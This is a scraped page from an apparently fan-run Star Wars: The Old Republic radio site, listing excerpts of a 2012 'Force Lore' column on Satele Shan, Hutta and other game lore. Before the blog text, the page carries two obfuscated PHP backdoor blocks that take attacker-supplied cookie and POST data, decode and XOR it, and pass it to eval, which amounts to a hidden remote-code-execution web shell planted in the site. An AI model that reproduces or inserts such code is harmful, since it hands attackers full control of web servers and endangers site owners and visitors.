$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> The Old Republic – Corellian Run Radio
May 022012
 

By Daniel Sperelli

Welcome to the Force Lore, ladies and gentlemen!  Yes, it’s time for your weekly dose of the who is who, where is where, and why is, well, you get the picture.  The Star Wars Universe is ever expanding with more and more details added all the time.  To get the lowdown on all of this, you have to be able to turn somewhere, so you know the lore/dirt behind the game.  That’s what we hope to provide here at Force Lore.

Last week we began with a short gloss-over of Satele Shan, the Grand Master of the Jedi Order.  For a CG character, I’m sure there’s more than one person out there that has dreamt of Satele being a romantic availability for their character.  And why not?  She’s modeled well.  I’m not trying to be sexist… Hey!  I’m just a guy!

Follow me after the jump as we detail more of Satele and how she got started.

Continue reading »

Apr 042012
 

It’s Wednesday.  Hello to all the CRR readers out there.  Welcome to Force Lore, your weekly dose of the who’s, the what’s, the when’s, and the why’s of the Star Wars Universe… Especially when it comes to anything dealing with the awesome MMO, The Old Republic.  In essence, we’re trying to be an out-of-game extension of the Datacrons found in-game.

This week, we’re looking at the last of the starting planets for the different classes found within Star Wars: The Old Republic.  Last, but not least, is the world of Nal Hutta, or as it’s known in the game, Hutta.  This is the starting area for the Imperial Agent and the Bounty Hunter, two of the classes for the Sith Empire.

I’m not going to lie.  I have procrastinated with this article all week long.  Partially because I’ve been enjoying the awesome weather that’s been abundant this last couple weeks.  But also because I’ve been working on custom content and writing for another project I have with my friend.  As my friend’s wife says to him, the same may apply to me: I only have enough room in the playroom in my head for so many toys at one time.  But, without further ado, let’s check out the biggest mobster planet in the game.  Follow me in after the jump!
Continue reading »

Feb 072012
 

by Daniel Sperelli

Greetings Spacers!  Welcome to another installment of Force Lore.  This is a regular installment, unlike yesterday’s installment which was just a special edition.  Today we’re going to take a trip into the Deep Core region to the lost, then found, then lost, then found… You’ll get the picture… So where were we?  Oh yes.  We’re going to be traveling to the Deep Core to visit the history of one of the starting worlds in Star Wars: The Old Republic.  I’ll transmit the coordinates to your navicomputers and then we can make the jump.  Ready?  Engage!
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Feb 062012
 

Greeting spacers!  Another week has arrived and I hope you’re not suffering the Monday Blues.  Every once in a while I’ll be releasing a Force Lore Intelligence Report.  The information contained within the report will hopefully be of use to you, the reader, as an extension of the In-game Codex, clarification of bits of lore that are released by BioWare or LucasArts, or some of the jargon I use in the column on a regular basis.  Beware:  Force Lore Intelligence Reports may contain spoilers for in-game events, so readers use caution.  Now, stand by for receipt of Intelligence transmission.

 

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Feb 012012
 

By Daniel Sperelli

The galaxy is a big place with billions upon billions of beings spread throughout it’s vast distances.  There are countless worlds and locations of note populating the expanse of the Star Wars Universe.  In Star Wars: TheOldRepublic, you, as a player, get the opportunity to travel through the galaxy and experience what it has to offer.  Force Lore on Corellian Run Radio will be your guide in knowing who, what, when, and why of the galactic storyline and what makes it tick.  Set your navicomputers and let’s make the jump into the heart of this!

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